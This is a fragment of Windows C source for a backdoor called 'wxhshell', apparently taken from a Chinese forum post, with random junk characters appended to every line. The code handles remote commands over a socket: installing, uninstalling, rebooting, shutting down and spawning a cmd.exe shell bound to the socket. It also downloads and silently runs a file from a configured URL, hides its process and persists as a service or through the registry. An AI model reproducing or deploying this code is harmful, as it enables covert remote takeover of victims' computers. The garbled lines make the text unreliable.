  // 帮助 6g%~~hX  
  case '?': { ,\0>d}eh !  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F;)qM|7  
    break; p(x<h  
  } 3Cl&1K #5  
  // 安装 420yaw/":  
  case 'i': { 3("E5lI(g:  
    if(Install()) r[RO"Ej"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]YwvwmZ  
    else D>"!7+t|@a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iLJBiZ+  
    break; Ox"SQ`nSj'  
    } %1%@L7wP>  
  // 卸载 ]j^rJ|WTH  
  case 'r': { OJPi*i5*  
    if(Uninstall()) c:_dW;MJ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;F\sMf{  
    else >&uR=Yd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >I;J!{  
    break; vK8!V7o~h%  
    } z]R)Bh  
  // 显示 wxhshell 所在路径 <'z.3@D  
  case 'p': { f&`yiy_  
    char svExeFile[MAX_PATH]; kDK0L3}nr]  
    strcpy(svExeFile,"\n\r"); $C9['GGR  
      strcat(svExeFile,ExeFile); D 13bQ&\B-  
        send(wsh,svExeFile,strlen(svExeFile),0); 5:X^Q.f;  
    break; vU,;asgy  
    } 1F94e)M)"  
  // 重启 BYWs\6vK  
  case 'b': { YfU6 mQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'n!kqP  
    if(Boot(REBOOT)) rd4mAX6@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '| bHu  
    else { td\'BV  
    closesocket(wsh); gl!F)RdH  
    ExitThread(0); |NXe{q7{  
    } ,(&5y:o  
    break; wxo{gBq  
    } ~M LBO  
  // 关机 CGJ>j}C  
  case 'd': { [HSN*LXe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `NARJ9M   
    if(Boot(SHUTDOWN)) zc%HBZ3p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`JW&r\  
    else { qJT|om L Y  
    closesocket(wsh); -)Y[t Z^*`  
    ExitThread(0); Dh B*k<S  
    } #tlhH\Pr[  
    break; q;H5S<]/  
    } }X^CH2,R  
  // 获取shell O (YvE  
  case 's': { s!\G i5b  
    CmdShell(wsh); R)BH:wg"  
    closesocket(wsh); -{s9PZ3~_  
    ExitThread(0); XT~]pOE;D  
    break; ~mYCXfoc{  
  } "BD$-]  
  // 退出 lehuJgz'OO  
  case 'x': { 5!}fd/}Uk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;0]s:0WD0P  
    CloseIt(wsh); I vD M2q8f  
    break; ]ppws3*Pa  
    } ()%;s2>F  
  // 离开 &(,-:"{pNR  
  case 'q': { * 4RL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xrd-/('2  
    closesocket(wsh); T96M=?wh!  
    WSACleanup(); WTQd}f  
    exit(1); <<[\ Rv  
    break; -JfO} DRI  
        } A6%~+9  
  } 73>Hzpv0  
  } -q}I; cH  
:dj=kuUTbu  
  // 提示信息 gtw?u b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gaxxB]8  
} sD ,FJ:dy  
  } Wc!.{2  
rEG!A87Zz  
  return; EawtT  
} PHQ99&F1  
pm k;5 d  
// shell模块句柄 %E`=c]!  
int CmdShell(SOCKET sock) Q"b62+03  
{ |!.VpN&  
STARTUPINFO si; bx=9XZ9g  
ZeroMemory(&si,sizeof(si)); zvHeoM ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /[#5<;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D./3,z  
PROCESS_INFORMATION ProcessInfo; 2&d|L|->  
char cmdline[]="cmd"; j<C p&}X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sx}61?  
  return 0; 40R7@Vaf  
} 71!'k>]h  
xr).ZswQ  
// 自身启动模式 `} :~,E  
int StartFromService(void) |;MW98 A  
{ >\5IB5'j  
typedef struct (=/}i'  
{ wl:[Ad  
  DWORD ExitStatus; 1h#UM6  
  DWORD PebBaseAddress; pQ yH`  
  DWORD AffinityMask; R1NwtnS  
  DWORD BasePriority; GP;UuQz  
  ULONG UniqueProcessId; &1$|KbmV4  
  ULONG InheritedFromUniqueProcessId; a7wc>@9Q,  
}   PROCESS_BASIC_INFORMATION; U# 7K^(E9  
XD$;K$_7  
PROCNTQSIP NtQueryInformationProcess; ?N(opggiD  
L|A.;Gq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; El4SL'E@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BhC>G2 ^7  
P1A5Qq  
  HANDLE             hProcess; C!s !j  
  PROCESS_BASIC_INFORMATION pbi; {;E]#=|  
U.p"JSH L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "=vH,_"Ql  
  if(NULL == hInst ) return 0; y?.l9  
NB?y/v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z< ,rE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]aTF0 R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  _)=eE  
,ou&WI yC  
  if (!NtQueryInformationProcess) return 0; tB==v{t  
`g!NFp9q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tmr %r'i3  
  if(!hProcess) return 0; >^ijj`{d  
hz*H,E!>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  - j_  
7o4B1YD  
  CloseHandle(hProcess); vfPIC!  
wH N5H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RI#o9d"x}  
if(hProcess==NULL) return 0; 1_0\_|  
kH}HFl  
HMODULE hMod; :to1%6  
char procName[255]; w!~85""  
unsigned long cbNeeded; DZ5QC aA  
v"J7VF2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Iwd-#;$;  
i*2l4  
  CloseHandle(hProcess); (4oO8 aBB  
#xBh62yIuP  
if(strstr(procName,"services")) return 1; // 以服务启动 ~;P>}|6Y  
8xQjJ  
  return 0; // 注册表启动 %% A==_b  
} *e}1KcJ  
YMD&U   
// 主模块 B[B(=4EzMP  
int StartWxhshell(LPSTR lpCmdLine) mdy+ >e <  
{ 4VrL@c @  
  SOCKET wsl; P[<EFj E  
BOOL val=TRUE; &&K"3"um  
  int port=0; 5BsfbLKC  
  struct sockaddr_in door; T f;:C]  
3}25=%;[  
  if(wscfg.ws_autoins) Install(); n+%tu"e  
cL yed3uU  
port=atoi(lpCmdLine); 1J @43>u{  
:elTqw>pn  
if(port<=0) port=wscfg.ws_port; 2"C,u V@F!  
I4%25=0?  
  WSADATA data; ]#t5e>o|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p4M7BK:nf  
0D:eP``  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L qdz qq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WuUT>om H  
  door.sin_family = AF_INET; s ad[(|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Co+haW  
  door.sin_port = htons(port);  3JcI}w  
$1b x\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ->Bx>Y  
closesocket(wsl); A!.* eIV|  
return 1; xA {1XS}  
} )!jX$bK  
&p6^    
  if(listen(wsl,2) == INVALID_SOCKET) { +U= !svE  
closesocket(wsl); RuuXDuu:VL  
return 1; Zg~6  
} #;~dA  
  Wxhshell(wsl); &RbT&  
  WSACleanup(); 'Bb@K[=s  
/woC{J)4p  
return 0; <N}*|z7=b  
![CF >:e  
} ! tPHT  
o dTg.m  
// 以NT服务方式启动 gt{$G|bi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'W]oQLD^R  
{ N_qKIc_R  
DWORD   status = 0; v'X=|$75  
  DWORD   specificError = 0xfffffff; T^XU5qgN  
\B1<fF2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?QfomTT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !|`vW{v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;OD+6@Sr  
  serviceStatus.dwWin32ExitCode     = 0; SF?s^  
  serviceStatus.dwServiceSpecificExitCode = 0; OJ2I (8P  
  serviceStatus.dwCheckPoint       = 0; bJ6@ B<  
  serviceStatus.dwWaitHint       = 0; bhg OLh#  
Xsit4Ma  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4[^lE?+  
  if (hServiceStatusHandle==0) return; >W7IWhm3  
Wk*t-  
status = GetLastError(); _E<  
  if (status!=NO_ERROR) xzjG|"a[GB  
{ 5'hQ6i8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1l`$.k  
    serviceStatus.dwCheckPoint       = 0; <=7N2t)s4  
    serviceStatus.dwWaitHint       = 0; ajMI7j^G  
    serviceStatus.dwWin32ExitCode     = status; RFzMah?Q=j  
    serviceStatus.dwServiceSpecificExitCode = specificError; H G)c\b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $,L,VYN  
    return; JU\wvP5j  
  } jXALN  
dgsD~.((A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` "JslpN  
  serviceStatus.dwCheckPoint       = 0; V- HO_GDo  
  serviceStatus.dwWaitHint       = 0; [osm\w49  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '-k~qQk)6  
} ?B`Yq\L)  
*2tG07kI  
// 处理NT服务事件,比如:启动、停止 Gaxa~?ek  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a{%]X(';  
{ Y^P'slY{%  
switch(fdwControl) b/g"ws_  
{ l5bd);L tq  
case SERVICE_CONTROL_STOP: ^vH3 -A;*  
  serviceStatus.dwWin32ExitCode = 0; }4M4D/=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C;_*vi2u  
  serviceStatus.dwCheckPoint   = 0; )ls<"WTC.  
  serviceStatus.dwWaitHint     = 0; )TFBb\f>v  
  { Q0cr^24/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u]%>=N(^2  
  } 'ffOFIz|=I  
  return; Rf .b_Y@O  
case SERVICE_CONTROL_PAUSE: [6Nw)r(a(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <dA1n:3o  
  break; 7 /$s!pV  
case SERVICE_CONTROL_CONTINUE: A"8"e*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b!ea(D!:  
  break; 6bW:&IPQ;  
case SERVICE_CONTROL_INTERROGATE: :$"L;"  
  break; dfoFs&CSKh  
}; `!$I6KxT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (`&`vf  
} kW=GFj)L  
r+WY7'c  
// 标准应用程序主函数 >S:>_&I`I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CN"hx-f  
{ ugI9rxT]Kv  
Xu8_<%  
// 获取操作系统版本 h&4f9HhS=  
OsIsNt=GetOsVer(); -n`igC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HRY?[+  
CL-mt5Kx#7  
  // 从命令行安装 {,aI0bw;  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7>`VZ?  
g, %xGQ4+  
  // 下载执行文件 HX3R@^vo  
if(wscfg.ws_downexe) { <Y9xHn&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %4Thb\T  
  WinExec(wscfg.ws_filenam,SW_HIDE); bqt*d)$  
} tsA+B&R_]  
VYZkHjj)2i  
if(!OsIsNt) { #+- /0{HT  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aey*n=V4#F  
HideProc(); G} &{]w@  
StartWxhshell(lpCmdLine); CK+GD "Z$  
} ! awfxH0  
else 6SIk,Isy8  
  if(StartFromService()) 8C{mV^cn~  
  // 以服务方式启动 =+qtk(p  
  StartServiceCtrlDispatcher(DispatchTable); V~uH)IMkh7  
else URodvyD  
  // 普通方式启动 t TAql n|  
  StartWxhshell(lpCmdLine); ! Bv"S0  
WD^!G;}  
return 0; '>]9efJA  
}
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只看该作者 1 发表于: 2006-10-10
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